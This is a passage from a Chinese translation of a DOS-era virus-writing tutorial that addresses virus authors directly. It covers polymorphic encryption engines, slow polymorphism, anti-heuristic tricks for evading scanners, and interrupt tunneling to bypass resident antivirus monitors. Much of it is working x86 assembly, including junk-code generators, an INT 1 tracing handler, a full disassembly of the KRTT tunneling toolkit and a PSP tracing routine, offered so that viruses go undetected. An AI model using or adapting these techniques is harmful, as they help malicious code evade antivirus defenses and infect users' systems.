大花招等等也一样)中找到一个扫描字符串足够了。在5分钟之内它们就在它们的病毒库中
加入了检测我们的病毒的方法。啊!一个病毒作者花了很多天来编写的一个病毒,就因为
他使用了如此简单的加密方法,在5分钟之内,我们的敌人就找到了检测的方法!这世界真
是太黑暗了! 
    但是,病毒作者从不投降,所以...我们需要是解密程序越小越好。还不够,在下一章
例,你可能将得到最好的答案 
    怎样使我们的病毒在内存里有第二个拷贝呢?这非常简单。在标志将要拷贝的病毒的
最后一个字节,我们可以如下: 

 virus_end  label  byte    ; The label that marks end of virus 

 enc_buffer  db  (offset virus_end-offset virus_start) dup (090h) 

    enc_buffer变量将会只在第一次产生时编码。当我们扩散这个病毒时,这个变量并不
会随着复制。但是我们可以利用它的偏移地址来放置我们的病毒的第二个复制。我们能做
的是... 

-当我们把我们的病毒拷贝到内存中(一个TSR病毒),我们再一次这样,并把EXE文件头放进
代码里,或者在COM文件的头几个字节,当这些变量向后移动病毒的大小时,我们把这些代
码放到相同的偏移地址。OK,我将更好地解释它。想象我们有如下代码: 

  mov  ah,3Fh 
  mov  cx,4 
  lea  dx,old3bytes 
  int  21h 

    OK,那么,如果我们在内存里面有病毒的第二个拷贝,我们必须把第三行代替为: 


       lea dx,virus_size+old3bytes 

    这是尝试的最好方法... 

-或者我们可以在添加的时候拷贝病毒的主体:我们有所有的变量集。改动如下: 

  mov  cx,virus_size 
  xor  si,si 
  mov  di,offset virus_begin 
  rep  movsb 

    我们给它加密,添加上第二个拷贝并...足够了! 

【多态(polymorphism)】 
~~~~~~~~~~~~~~~~~~~~ 
    这是病毒里面最有意思的东西。编写一个PER(Polymorphic Encryption Routine)也是
非常有趣的,并且它将清楚地显示病毒编写者在编写它的“方式”。这也是所有的初学者
所认为的非常难的东西,并且只有一个有经验的病毒编写者可以做到。不要这么认为!它
非常的简单。不要害怕。如果你看到这里还活着的话,我肯定你将会看懂所有的东西。这
一章是加密这一章的扩展。 
    我们做一个PER的目标是在病毒编写世界里从不停止的东西:通过尽可能地减小我们病
毒地扫描字符串来击败病毒查杀工具,也就是FUCK'EM ALL! 这个概念就是在每次感染的时
候产生不同的解密程序,所以病毒查杀工具在检测我们的病毒时将会受挫。并且这个技术
,配合STEALTH,AEMOURING,ANTI-HEURISTICS和ANTI-BAILTS能使你的病毒更加强大。OK
,让我们开始这个有意思的话题。 

%历史% 
~~~~~~ 
`   第一个想要编写一个PER的尝试的是由一个保加利亚人实现的,他可能是曾经最好的病
毒编写者之一,叫做Dark Avenger。他的病毒曾经,现在,将来都是所有病毒编写者学习
的榜样。从他的初期的病毒,如Eddie,他显示了编写代码的高质量。但是,最好的实现是
伴随者MtE(Mutation Engine)引擎的发布而出现的,在病毒史上第一个好的PER。所有的病
毒查杀工具研究者在寻找基于这个引擎的病毒的扫描字符串的时候,都快发疯了。在经过
反病毒界艰苦卓绝的努力之后,它们终于找到了对付MtE的一个可靠的扫描字符串。但是,
这才仅仅是噩梦的开始。Masud Khafir,TridenT 病毒研究组织的成员,开发了TPE,Pha
lcon Skism的Dark Angel开发了DAME(Dark Angel Multiple Encrypto),许多其他病毒研
究者们开发了其它的很酷的引擎。当我们讨论多态引擎的时候,我们必须考虑到这项技术
是在1992年出现的,很久以前的事情了。它们仅仅是对付扫描字符串的,这在如今,非常
简单啦。 
    但是,如今,多态引擎有很多的敌人:代码分析,模拟,跟踪,诱骗,还有有经验的
病毒查杀者在对付着我们。首先,病毒编写者认为我们的解密程序的最好的选择是使它尽
可能的变化。但是,时间已经表明了这是一个错误的想法:病毒查杀者们将会感染成千的
诱饵程序,为了看PER所能产生的所有可能的解密程序。如果我们有一小部分可能的解密程
序泄露给它们(如利用日期来产生随机数),我们正好迎合了他们的需要。他们有了一个扫
描字符串,但是在另外一台计算机上,在另外一种情形下,这个扫描字符串就不起作用了
。这就叫做SLOW poly。我们将在这一章的另外一个地方看到。 

%介绍% 
~~~~~~ 
    一个多态引擎是一个病毒编写者的最最私人的东西。这里我必须对你说使用另外一个
病毒作者的多态代码并不是一个好主意。编写一个很好的PER非常的简单,但是如果你使用
另外一个病毒编写者的代码,当你编写你的病毒的时候将会受限制了。 
    我们需要产生一个解密程序,在真正的解密代码里设置废代码,利用假的跳转,调用
,反调试,所有我们想要的...让我们看看在编写我们的PER的时候必须要做的... 

 - 产生许多方法来达到同一目的 
 - 尽可能的改变我们的代码的顺序 
 - 可以在另外的病毒里可以使用 
 - 可以产生不做任何INT 21h功能的Call 
 - 可以产生不做任何中断的Call 
 - 如果能够,把它作成一个slow poly 
 - 使所有的扫描字符串最小 
 - 利用armour保护指令产生器,使它在反汇编的时候非常困难。 

    当你在做一个PER的时候,想象力是一个非常好的武器。利用它产生你能产生的尽可能
多的东西。 

%多态的第一步% 
~~~~~~~~~~~~~~   
    编写一个改变每一个病毒产生解密程序的最简单的方法是创建一个垃圾代码产生器,
然后在一些不做任何事情的指令后面放置一些解密指令。如果你还没有创建一个引擎这是
你能做的第一件事。第一种类型的垃圾代码是一个字节的代码,这些我们所能使用的简单
的指令。我们在不做任何事情之前必须选择产生所有垃圾代码的寄存器。我通常使用AX,B
X和DX。让我们看看一个字节代码的一小小的表格: 

 OneByteTable: 
  db  09Eh      ; sahf 
  db  090h      ; nop 
  db  0F8h      ; clc 
  db  0F9h      ; stc 
  db  0F5h      ; cmc 
  db  09Fh      ; lahf 
  db  0CCh      ; int 3h 
  db  048h      ; dec ax 
  db  04Bh      ; dec bx 
  db  04Ah      ; dec dx 
  db  040h      ; inc ax 
  db  043h      ; inc bx 
  db  042h      ; inc dx 
  db  098h      ; cbw 
  db  099h      ; cwd 
 EndOneByteTable: 

    利用设置真正指令的简单的例程,和其它的设置垃圾代码的例程,我们有一个非常简
单的多态引擎。在我们的第一步中非常有用,但是,如果你正编写一个好病毒,你必须知
道一件事情...如果有很多什么也不做的指令,要确信病毒查杀工具将会显示一个标志。E
rhm...我们该这样得到其中的一个代码呢?相当简单: 

 GenerateOneByteJunk: 
  lea  si,OneByteTable   ; Offset of the table 
  call  random      ; Must generate random numbers 
  and  ax,014h     ; AX must be within 0 and 14 ( 15 ) 
  add  si,ax      ; Add AX ( AL ) to the offset 
  mov  al,[si]     ; Put selected opcode in al 
  stosb        ; And store it in ES:DI ( points to 
          ; the decryptor instructions ) 
  ret 

    毫无疑问,我们需要一个随机数产生器。下面给出一个最简单的: 

 Random: 
  in  ax,40h      ; This will generate a random number 
  in  al,40h      ; in AX 
  ret 

    利用上面的例程,我们所能做的是一个很差劲的引擎。我们的目标是其它的,所以请
主意下面的讨论。 

%编写一个简单的操作的一些方法% 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
    现在几乎有无穷的(当然不是啦...只是有成百万的可能性而已)方法来往常一个简单的
指令任务。让我们想象一个"mov dx,1234h",不使用其它的寄存器: 

  mov  dx,1234h 

  push  1234h 
  pop  dx 

  mov  dx,1234h xor 5678h 
  xor  dx,5678h 

  mov  dh,12h 
  mov  dl,34h 

  xor  dx,dx 
  or  dx,1234h 

  mov  dx,not 1234h 
  not  dx 
  [...] 

    而且我们还可以有更多的组合。毫无疑问,如果我们使用另外的寄存器来完成我们的
任务,可能性就更多了。 

%改变指令的顺序% 
~~~~~~~~~~~~~~~~ 
    用我们想要的顺序来编写代码有很多指令。而且,结合执行一个简单的代码的方法,
能使我们的多态引擎真正的强大。 
    通常,在解密循环之前的指令可以按照任何顺序来排,除了所有的PUSH/POP组合,及
相关的指令。我们现在讨论的是来完成这个任务的不依赖于其它任务的代码。让我们来看
一个例子: 

  mov  cx,encrypt_size 
  mov  si,encrypt_begin 
  mov  di,encrypt_key 

    我们可以按我们想要的顺序来安排这些指令,一个随机的顺序下面的代码能完成相同
的任务: 

  mov  di,encrypt_key 
  mov  cx,encrypt_size 
  mov  si,encrypt_begin 

     利用相同的方法,所有的组合可能都能达到相同的目的。 

%方便性(Portability)% 
~~~~~~~~ 
    开发一个很轻便的多态引擎是很简单的。所有我们必须做的是使我们的PER使用参数。
例如,我们可以使用CX来处理要加密的大小,DS:DX指向要加密的代码。所以,用这个方法
,我们就能在我们的病毒中使用我们的引擎。 

%Tables against Blocks% 
~~~~~~~~~~~~~~~~~~~~~~~ 
    基于PER的表: 

    这种类型的引擎的精神是把产生垃圾代码(一个字节的,假的中断调用,算术操作...
)的例程的偏移地址写入另一个表格。然后,利用一个随机的值,我们调用这些偏移地址中
的一个,产生一个随机的垃圾代码。让我们来看一个例子: 

 RandomJunk: 
  call  Random      ; Random number in AX 
  and  ax,(EndRandomJunkTable-RandomJunkTable)/2 
  add  ax,ax      ; AX*2 
  xchg  si,ax 
  add  si,offset RandomJunkTable ; Point to table 
  lodsw 
  call  ax      ; Call to random table offset 
  ret 

 RandomJunkTable: 
  dw  offset GenerateOneByteJunk 
  dw  offset GenerateMovRegImm 
  dw  offset GenerateMovRegMem 
  dw  offset GenerateMathOp 
  dw  offset GenerateArmour 
  dw  offset GenerateCalls 
  dw  offset GenerateJumps 
  dw  offset GenerateINTs 
  [...] 
 EndRandomJunkTable: 

     添加一个新的例程到一个基于PER的表非常简单,而且这种类型的引擎可以非常的优
化(取决于代码编写者)。 

    基于PER的块: 

    我们的目标是为解密程序的每一个指令,分成一些固定长度的块。在29A#2由Spanska
编写的Elvira病毒中,我们已经有这种引擎类型的例子了。让我们在Elvira引擎的一个块
中看一个例子,它比较CX和0。每一个块都有一个确定的大小(6字节)。 

  cmp cx, 0 
  nop 
  nop 
  nop 

  nop 
  nop 
  nop 
  cmp cx, 0 

  nop 
  or cx, cx 
  nop 
  nop 
  nop 

  nop 
  nop 
  nop 
  or cx, cx 
  nop 

  test cx, 0FFFFh 
  nop 
  nop 

  or cl, cl 
  jne suite_or 
  or ch, ch 
  suite_or: 

  mov bx, cx 
  inc bx 
  cmp bx, 1 

  inc cx 
  cmp cx, 1 
  dec cx 
  nop 

  dec cx 
  cmp cx, 0FFFFh 
  inc cx 
  nop 

    正如你看到的,添加新块来完成相同的任务更简单。但是,这种类型的引擎有一个弱
点:大小。Elvira的引擎占了病毒的一半大小:病毒大小是4250字节,引擎占了病毒的20
00-2500字节。好处是通过添加更多的块,我们可以为这个病毒设置更多的陷阱,使它仍然
不能被病毒查杀工具检测 
    而赢家是... 
    我认为表是解决问题的方法,因为我们可以产生这些块的所有组合,还有更多。这些
块也是那些不想生活在痛苦中的人的解决方案 

译者注:下面省略一些汇编基础知识的介绍,包括寄存器的介绍,指令,中断调用等等,
感兴趣的可看原文。 


%随机数产生器% 
~~~~~~~~~~~~~~  
    这是你的PER中的一个最重要的部分。获得随机数的最简单的方法是调用端口40h,看
它返回什么。让我们看一些代码: 

 random: 
  in  ax,40h 
  in  al,40h 
  ret 

    我们还可以使用INT 1Ah,或者我们认为能每次返回给我们不同数的东西。如果我们想
要得到一定范围的数,我们可以使用指令AND。让我们来看看产生一定范围的随机数的最简
单的过程: 

 random_in_range: 
  push  bx 
  xchg  ax,bx 
  call  random 
  and  ax,bx 
  pop  bx 
  ret 

    它将会返回一个在0到AX-1之间的数。一个优化产生一个范围的随机数的方法是使用除
法。记住除法能做什么,要特别注意余数。当我们做一个除法,余数不可能比除数大(活相
等)。所以,余数只能在0到除数-1之间。让我们看看使用除法的过程是怎么实现的: 

 random_in_range: 
  push  bx dx 
  xchg  ax,bx 
  call  random 
  xor  dx,dx 
  div  bx 
  xchg  ax,dx 
  pop  dx bx 
  ret 

    正如你所看到的,相当简单。关于随机数的话题,我们在这一章的下一章还会继续,
慢多态(Slow polymorphism)。 

%慢多态(Slow Polymorphism)% 
~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
    如果你知道这个东西是如何对付病毒查杀工具的,你会认为它是一项非常难的技术,
或者其它想法。不。第一个多态引擎的作者认为对付病毒查杀工具的方法是使解密在每次
都是变化的。对于初期的PER,这是一个很好的主意,但是,病毒查杀工具研究者们发现用
一个具有多态的病毒感染成千的诱饵程序,他们就能发现所有的可能变异,然后,给他们
的软件添加一个简单的扫描字符串。但是...如果我们使得解密程序非常慢的话,将会发生
什么呢?于是,慢多态就应运而生了。是的,利用这个简单的想法,看起来不起眼,我们
能使病毒查杀工具研究者们发疯了。为了获得慢多态我们必须改变的最重要的东西是随机
数发生器。通过改变这个,我们就有了一个适合我们需要的慢变异引擎。我们可以证明它
,但是它将和好地适合我们地需要。我们需要变化不快的值,如月,天或其它的一些东西
,然后对他们玩些东西(如果你想要,毫无疑问了)。 

 random_range: 
  push  bx cx dx 
  xchg  ax,bx 
  mov  ax,2C00h 
  int  21h 
  xchg  ax,dx 
  xor  ax,0FFFFh 
  xor  dx,dx 
  div  bx 
  xchg  ax,dx 
  pop  dx cx bx 
  ret 

    利用上述的例程,你的PER现在是100%慢多态了。我相信这个概念相当清晰了。 
    另外,你可以尝试着添加一个计数器来避免变异在一个很长的时间里完成,但是我更
愿用这个技术来实现慢多态。 

%高级多态% 
~~~~~~~~~~ 
    下一步是高级多态了,你必须试着去产生实际的结构,如一个调用子例程、中断的程
序,和一些已知的数值玩玩,在条件跳转前面作比较,做任何你能想象的事情。你必须不
断的提高的的多态引擎的变化性:如果它是慢的而且变化很多,病毒查杀工具将会受挫的
。想象这个可能性:你可以自顶向底来解密你的代码,和使用si,di,bx或者其它你自己设
定的作为记数寄存器,你可以为长例程添加一个发生器,如小的反调试花招(neg sp/neg 
sp,not sp/not sp...),编制一个mid-virus(或者mid-file)解密程序,一个INT 1解密程序
,编制不做任何事情的内存移动,不时地把字运算作为字节运算,组合它们,代替它们..

    此外,你可以尝试一些已经更高级地东西,如改进多态,和其它地东西。有一些关于
这个事实的有趣的文章,如Methyl(即Owl[FS])的。 

%关于多态的最后的讨论% 

    但是,在现实中,病毒查杀工具开发者将会千方百计的通过反编译我们的慢多态引擎
来获得我们解密程序的所有可能性。 
    但是,这里就要保护我们的成果了。我们必须通过一个特别地加密例程来严重地保护
我们的PER(它必须是一个反调试地解密程序)。因为它们将不会有足够地时间来反编译我们
地引擎,他们将看不到它所能做的所有东西你可以好好地选择反调试这一章里里提到的反
调试技术。所以,这次,它们将会把努力集中到诱饵上,并且我们必须避免感染这些无聊
的文件。更多的关于这个在反诱骗这一章里 
    我期待着你能编写出震惊世界的PER! 

【反探索(Anti-Heuristics)】 
~~~~~~~~~~~~~~~~~~~~~~~~~ 
    探索方法在我们的代码里面寻找可疑的东西,只要避免使用如"*.com"等等...好了,
我将更好地解释它。遵循这一点 

    不要使用诸如"*.com"或者"*.exe"之类的通配符: 
     
    这种类型的东西只会在运行期病毒里使用,但是如果你确实需要它...你可疑用"*
.rom"代替"*.com",然后用下面的代码: 

  mov byte ptr [bp+comfile+2],"c" 

    记住:在写病毒主体之前,存储"*.rom"里的r... 

  mov byte ptr [bp+comfile+2],"r" 

    否则,你的努力就白费了。 
    在这个例子里,我们假设BP为变化的偏移地址,com 文件,db "*.rom",0,而且这个
病毒是一个直接感染病毒 

    不要使用明显的例程: 

    我们要讨论的是经典的INT 21h AH=40h,INT 21h AX=4301h...你可以做很多事情...让
我们在AX=4301h时玩玩。 
    我已经在哪里读过这个了,现在记不清在哪里了(可能是Wizard的用西班牙语写的教程


  push 4301h 
  pop ax 

    但是,有一个问题...编译然后把它反编译。让我们看看由TASM产生的东西毫无疑问,
这个只会在这个代码中所选的处理器比386还差。 

  push ax bp 
  mov bp,sp 
  mov word ptr [bp+02],4301h 
  pop bp ax 

    这是push 4301h和pop ax的反汇编代码。它占11字节!!!我认为它是对代码的浪费
。更好的使用情况为: 

  mov ax,4300h 
  inc ax 

    或者更好: 

  mov ax,0043h 
  inc ah 
  xchg ah,al 

    还有: 

  mov bx,4300h 
  xor ax,ax 
  xchg ax,bx 

    对你的多态引擎的所有例程过度的怀疑: 
  
    对许多的垃圾的使用要小心,如一个字节的指令(cli,sti,lahf,nop,std,cld,cmc...
)。病毒查杀工具能显示一个标志。探索引擎将会试图去解密代码。我建议你设置一个反调
试例程来阻止它。看看这篇文档的ARMOURING这一章。 

    在你的驻留内存检查时不要使用奇怪的调用: 

    如果你在你的驻留内存检测时使用如AX=DEADh,一个标志将会被触发。要使用低于6E
00h的检查。低于6E00h的功能有很多还没使用。你要想看更多的信息,可以看看Ralph Br
own的中断列表。 

    不要使用不常见的中断: 

    如果你使用高于80的中断,一个标志将会被触发。 

    尽可能的优化你的代码: 

    你可以参考关于这个话题的教程(如darkman在VLAD#2中的文章或者29A#3中的文章)。
 

    获得偏移地址的时候要尽可能的新颖: 

    在过得改变的偏移地址的时候不要使用: 

  call delta 
 delta: 
  pop si 
  sub si,offset delta 

    这个被很多的病毒使用,毫无疑问一个标志将会被触发。(在这个例子里,delta off
set 将会存字SI里) 
    有很多代替的方法来获得delta offset: 

  mov bx,old_size_of_infected_file 
  jmp bx 

(当然你可以使用另外的寄存器而不是BX) 

    另外一个: 

  call delta 
 delta: 
  mov si,sp 
  mov bp,word ptr ss:[si] 
  sub bp,offset delta 

(在上面的代码里,BP将会为Delta offset) 
另外一个: 

  mov bp,sp 
  int 03h 
 delta: 
  mov bp,ss:[bp-6] 
  sub bp,offset delta 

    使你的加密例程非常优化。如果你使用某些方法,探索将会抓住病毒,所有我们的努
力将会付之东流。 

    使你的TSR例程更加怪: 

    努力避免和0比较: 

  cmp byte ptr [0],"Z" 

    在你的int 21处理程序里避免使用"真正"的比较,只要试试如下的(4bh的例子): 


  xchg ah,al 
  cmp al,4Bh 
  [...] 
  xchg ah,al 

    或者对这个值xor。 

  xor ax,0FFFFh 
  cmp ah,(4Bh xor 0FFh) 
  xor ax,0FFFFh 

    或者同时 

  xor ax,0FFFFh 
  xchg ah,al 
  cmp al,(4Bh xor 0FFh) 
  xchg ah,al 
  xor ax,0FFFFh 

    记住这一点:在调用真正的int 21之后在使用这些例程之前返回和以前一样的值。 

    探索法在搜索的时候比较"MZ"或者"ZM"如: 

  cmp ax,"ZM" 
  cmp ax,"MZ" 

    你可以这么试试: 

  mov al,byte ptr [header] 
  add al,byte ptr [header+1] 
  cmp al,"M"+"Z" 

    这是一个非常有用的例程:你可以同时检查MZ和ZM。假设就是这样...文件头至少包含
文件头的前两个字节。或者你还可以以小写的形式,用一个简单的or ax,2020h(AX是包含
这个字符串的寄存器),比较时如下: 

  cmp ax,"zm" 
  cmp ax,"mz" 

    尽可能的使你的病毒更加独特 

    用很多的病毒查杀工具把你的代码扫描很多遍来看看它能否被发现。 

    对恢复COM和EXE主体恢复的例程要轻微的改动。让我们现在来看看怎样编制对COM文件
的反探索恢复程序: 

  mov  di,101h     ; This shit will fool AV 
  dec  di 
  push  di      ; DI=100h  
  lea  si,[bp+offset OldBytes] ; Restore 3 bytes 
  movsw        ; ( Change it for your needs ) 
  movsb 
  ret        ; Jump to 100h  

 oldbytes  db CDh,20h,00 

    下面来看恢复EXE文件时怎么对付探索: 

  mov  bx,bp      ; Use BX as delta offset  
  mov  ax,ds 
  add  ax,0010h 
  add  word ptr cs:[bx+@@CS],ax 
  add  ax,cs:[bx+@@SP] 
  cli 
  mov  ss,ax 
  mov  sp,cs:[bx+@@SS] 
  sti 

  db  0EAh      ; JUMP FAR 

 cs_ip    equ  this dword 
 @@IP    dw  0000h    ; In 1st gen, put here the offset to 
          ; a MOV AX,4C00h/INT 21h 
 @@CS    dw  0000h 
 ss_sp    equ  this dword 
 @@SS    dw  0000h 
 @@SP    dw  0000h 

%最后的讨论% 
~~~~~~~~~~~~ 
    有些探索(如TBSCAN)的一个巨大的失败之处是它们不搜索寄存器的值。我们就可以利
用这一点了。只要想一想编写一个mov ax,4301h或者一个cmp ah,4Bh的所有可能性...一切
尽在掌握... 

【Tunneling】 
~~~~~~~~~~~ 
    我们称tunneling为一类操作,这类操作获得任何中断的原始中断向量,这些中断是所
有关于INT 21h的所有时间的中断。由此可见,并不是所有的操作都可以称作tunneling(如
,后门backdoors),但是我们也会在这篇文章里面讨论到。 
    Tunneling是为避开TSR监视程序而开发的。这种类型的反病毒对普通使用者来说是不
可理解的(什么话!),因为他们被告知了钩住中断,打开可执行文件,和一个病毒通常会
做的事情的企图。这种方法用上述的方法(反探索)确实很难对付了,因为它们不搜索一些
比特,它们仅仅钩住和控制重要的中断(21h,13h...) 
    最普遍的TSR监视程序是Flintstones的VSAFE,VSHIELD...我们的目标是获得原始的中
断向量但是...怎么来实现呢?你有很多个选择。 

%跟踪% 
~~~~~~ 
    这可能是最常用的方法之一,但也是很不安全的方法。是的,这种类型的tunneling是
非常脆弱的,而且如果你仔细地看看下面的论述,你会知道为什么是非常脆弱的 
    有一个标志,叫做陷阱标志Trap Flag(通常缩写为TF),如果被激活,用来把处理器切
换到单步执行模式。单步执行模式就是调试器用来一步一步的执行指令的,当然我们可以
用来满足我们的需要啦 
    一个指令每执行一次,TF就会被激活,INT 1将会被调用,所以这次是我们的啦但是没
有一个激活它的指令,所以我们必须对标志处理。让我们看看我们怎样激活TF的: 

  pushf        ; Push flags to stack 
  pop ax        ; And put them into AX for play 
  or ax, 100h      ; We activate the TF at this point 
  push ax       ; We must push AX... 
  popf        ; for restore our preety flags  

    利用这些简单的代码,你已经激活了陷阱标志。我忘了给出所有标志了,下面给出:
 

 Position   0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00 
                       
 Flags      -- -- -- -- OF DF IF TF SF ZF -- AF -- PF -- CF 

    正如你所看到的,这些标志是在一个16位的寄存器里面。下面给出标志列表及所代表
的意义: 

 CF : Carry Flag      Indicates an arithmetic carry 
 PF : Parity Flag     Indicates an even number of 1 bits 
 AF : Auxilary Flag   Indicates adjustment needed in BCD numbers 
 ZF : Zero Flag       Indicates a zero result, or equal comparison 
 SF : Sign Flag       Indicates negative result/comparison 
 TF : Trap Flag       Controls Single Step operation 
 IF : Interrupt Flag  Controls whether interrupts are enabled 
 DF : Direction Flag  Controls increment direction on string regs. 
 OF : Overflow Flag   Indicates signed arithmetic overflow 

    让我们记住关于中断的一些东西。每次我们调用一个中断,在堆栈里是6个字节:标志
和CS:IP。你必须记住这一点,因为我们必须要调用INT 21h,然后跟踪它的代码。如果调
用之后CS(在堆栈中)等于当我们请求的中断向量DOS已经给我们的值,那么这个中断就是正
常的中断。实现tunneling的简单的例程如下: 

 int01handler: 
  push bp 
  mov bp, sp 
  push dx 
  mov dx, word ptr cs:[dossegment] 
  cmp [bp+6], dx 
  jz found 
  pop dx 
  pop bp 
  iret 
 found: 
  mov dx, [bp+6] 
  mov word ptr cs:[int21_seg], dx 
  mov dx, [bp+4] 
  mov word ptr cs:[int21_off], dx 
  pop dx 
  pop bp 
  add sp, 6 
  [...] 

    但是这种类型的tunneling,正如我在开始解释的时候所说的,有很多弱点。我们不保
护POPF,PUSHF,CLI和TF的释放,因为我们要真正地执行这个代码。 
    如果病毒查杀工具重定向INT 21h给另外一个中断,我们又要受挫了。正如你能看到地
,这个跟踪不安全。 
    好了,我们可以通过检查一些代码来解决一些问题,如PUSHF和POF,为了不使蹩脚者
释放TF。无论如何,跟踪不是最好的选择... 

%字节到字节(byte-to-byte)% 
~~~~~~~~~~~~~~~~~~~~~~~~ 
    最流行(仅有的一个)的源程序是K攈ntark Recursive Tunneling Toolkit ( 即 KRTT
 )。它使用的方法是对中断处理程序中的所有操作码做比较,为了判断它是否为CALL,CA
LL FAR,JUMP FAR,和JUMP OFF:SEG,然后获得这个值作为INT 21h。让我们看看KRTT41包
中的KRTT41.OBJ这个文件的彻底反汇编,它是这个工具的核心。 

;----从这里开始剪切------------------------------------------------------- 
; K攈ntark Recursive Tunneling Toolkit 4.1 (c) 1993 by K攈ntarK 
; 反汇编 Billy Belceb?DDT 

; 输入: 
;   BP : 01        Searches for INT 2Ah handler 
;   BP : 02        Searches for INT 13h handler 
;   BP : another value  Searches for INT 21h handler 
; 输出: 
;   AH : 00        Not found 
;   AH : 01        Found! 
;   AH : 02        Int 21h / 2Ah / 13h  Not Hooked 
;   AH : 03        DOS internal interrupts are hooked 
; 如果找到: 
;   DX          DOS INT 21h / 2Ah / 13h SEGMENT 
;   DI          INT 21h  / 2Ah / 13h OFFSET 
;   AL          RECURSION DEPT 
; DESTROYED: 
;   AX,BX,CX,DX,DI,BP,ES 

; 汇编: 
;  TASM KRTT41.ASM 
;  TLINK  KRTT41.OBJ 

; Call TUNNEL for make tunneling 

; 声明: 这是我第一次试着反汇编一些东西,所以如果有大的错误,原谅我 
; 这不是我的工作... 

       .model  tiny 
       .code 
  public  tunnel 

tunnel: 
  cli        ; Disable interrupts for tunneling 
  xor  ax,ax 
  mov  es,ax      ; Make ES = 0 for get IVT 
  xor  di,di 
  mov  dx,es:[00AEh]    ; Checks for assure tunneling 
  mov  cx,es:[00A2h]    ; INT 26h =! INT 28h 
  cmp  dx,cx 
  jz  check 
  mov  cx,es:[00B2h]    ; INT 26h =! INT 28h =! INT 2Ch 
  cmp  dx,cx 
  jz  check 
  mov  ah,03      ; Checks failed : DOS ints are hooked 
  ret 
check: 
  cmp  bp,01h      ; BP=1       Hook INT 2Ah 
  jz  int2A 
  cmp  bp,02h      ; BP=2       Hook INT 13h 
  jz  int13 
int21: 
  mov  bx,es:[0084h]    ; BP=Other   Hook INT 21h 
  mov  es,es:[0086h] 
  jmp  go4it 
int13: 
  mov  bx,es:[004Ch]    ; Get INT 13h vectors from the IVT to 
  mov  es,es:[004Eh]    ; ES:BX 
  mov  bp,es 
  mov  dx,0070h 
  cmp  bp,dx 
  jz  nothooked 
  jmp  letstunnelit 
int2A: 
  mov  bx,es:[00A8h]    ; Get INT 13h vectors from the IVT to 
  mov  es,es:[00AAh]    ; ES:BX 
go4it: 
  mov  bp,es 
  cmp  dx,bp 
  jnz  letstunnelit 
nothooked: 
  xchg  bx,di 
  mov  ah,02h      ; INT not hooked *yeah*  
  ret 
letstunnelit: 
  call  main_body    ; Go and tunnel it 
  sti 
  ret 
main_body: 
  push  es 
  push  bx 
  cmp  al,07h      ; Check for recursion 
  jz  exit 
  cmp  ah,01h      ; Found ? 
  jz  exit 
  inc  al 
  mov  cx,0FFFAh 
  sub  cx,bx 
main_loop: 
  push  bx 
  cmp  byte ptr es:[bx],0E8h  ; Is OpCode a CALL ? 
  jz  callsig16 
  cmp  byte ptr es:[bx],0EAh  ; Is it a JUMP OFFSET:SEGMENT ? 
  jz  far_stuff 
  cmp  byte ptr es:[bx],09Ah  ; Is it a CALL FAR ? 
  jz  far_stuff 
  cmp  byte ptr es:[bx],02Eh  ; A Segment Override CS maybe ?  
  jnz  jmpfar 
  cmp  byte ptr es:[bx+01],0FFh ; A JUMP FAR ? 
  jnz  jmpfar 
  cmp  byte ptr es:[bx+02],01Eh ; PUSH DS ? 
  jz  far_stuff2 
  cmp  byte ptr es:[bx+02],02Eh ; CS ? ( again ) 
  jnz  jmpfar 
far_stuff2: 
  mov  bp,es:[bx+03] 
  dec  bp 
  xchg  bx,bp 
  jmp  far_stuff 
jmpfar: 
  pop  bx 
  cmp  ah,01h      ; Found ? 
  jz  exit 
  cmp  al,07h      ; Check for recursion 
  jz  exit 
  inc  bx 
  loop  main_loop    ; And loop it 
callsig16: 
  pop  bx 
  add  bx,03h 
  loop  main_loop 
exit: 
  pop  bx 
  pop  es 
  ret 
far_stuff: 
  pop  bp 
  add  bp,04h 
  push  bp 
  cmp  es:[bx+03],dx 
  jz  found 
  cmp  word ptr es:[bx+03],00h 
  jz  jmpfar 
  push  es 
  pop  bp 
  cmp  es:[bx+03],bp 
  jz  jmpfar 
  mov  bp,bx 
  mov  bx,es:[bx+01]    ; Where it points 
  mov  es,es:[bp+03] 
  call  main_body 
  jmp  jmpfar 
found: 
  mov  di,es:[bx+01] 
  mov  ah,01      ; INT 21 found 
  jmp  jmpfar 
end  tunnel 

;----到这里结束------------------------------------------------------------ 


    如果你想要完全的包,可以搜索,它很容易找到的,但是KRTT不是很安全。也许你很
恼怒。Tunneling看起来是一项非常不安全和脆弱的技术。这只是在这些老技术里才会发生
。如果控制权是由另外一个不是我们的程序的指令返回的时候,KRTT就会受挫了。利用一
个条件jump或者RETF很容易调用INT 21h,这对我们不好。而且这个必定是递归的,显而易
见。 

%PSP跟踪% 
~~~~~~~~~ 
    如果你还记得那个非常重要的结构PSP,并看过了关于offset 0005的描述,你将会想
..."利用FAR CALL来调用INT 21该是多痛苦啊!"PSP的这个offset已经相当过时了,它只
是为了对非常老的程序兼容而保留的。但是它包含了非常有趣的数据,如INT 21h指派。I
NT 21h指派不是INT 21h处理程序,不要忘记这一点。正如Satan的Little Helper所说的,
offset PSP:6能直接指向调度,或者不直接指向,这需要一些对第一种情况的双nop调用处
理。 
    下面的例程来自VLAD#3(很强的一个组织!),Satan's Little Helper写的文章,介绍
了利用PSP来获得INT 21h地址的方法。 

;-----从这里开始剪切------------------------------------------------------- 

; PSP tracing routine by Satan's Little Helper 
; Published in VLAD#3 

; INPUT: 
;   DS          PSP segment 
; OUTPUT: 
;   DS:BX         INT 21h address 
;   CF          0 
; if tunnel failed: 
;   DS:BX         0000:0000 
;   CF          1 

psp_trace: 
  lds  bx,ds:[0006h]    ; a pointer to dispatch handler 
trace_next: 
  cmp  byte ptr ds:[bx],0EAh  ; JMP SEG:OFF ? 
  jnz  check_dispatch 
  lds  bx,ds:[bx+1]    ; point to the SEGMENT:OFFSET 
  cmp  word ptr ds:[bx],9090h 
  jnz  trace_next 
  sub  bx,32h      ; 32h byte offset from dispatch 
          ; handler 
  cmp  word ptr ds:[bx],9090h  ; If all is OK, INT 21h has this 
  jnz  check_dispatch    ; signature ( 2 NOPs ) 
good_search: 
  clc 
  ret 
check_dispatch: 
  cmp  word ptr ds:[bx],2E1Eh  ; PUSH DS, CS: ( prefix ) 
  jnz  bad_exit 
  add  bx,25h 
  cmp  word ptr ds:[bx],80FAh  ; CLI, PUSH AX 
  jz  good_search 
bad_exit: 
  stc 
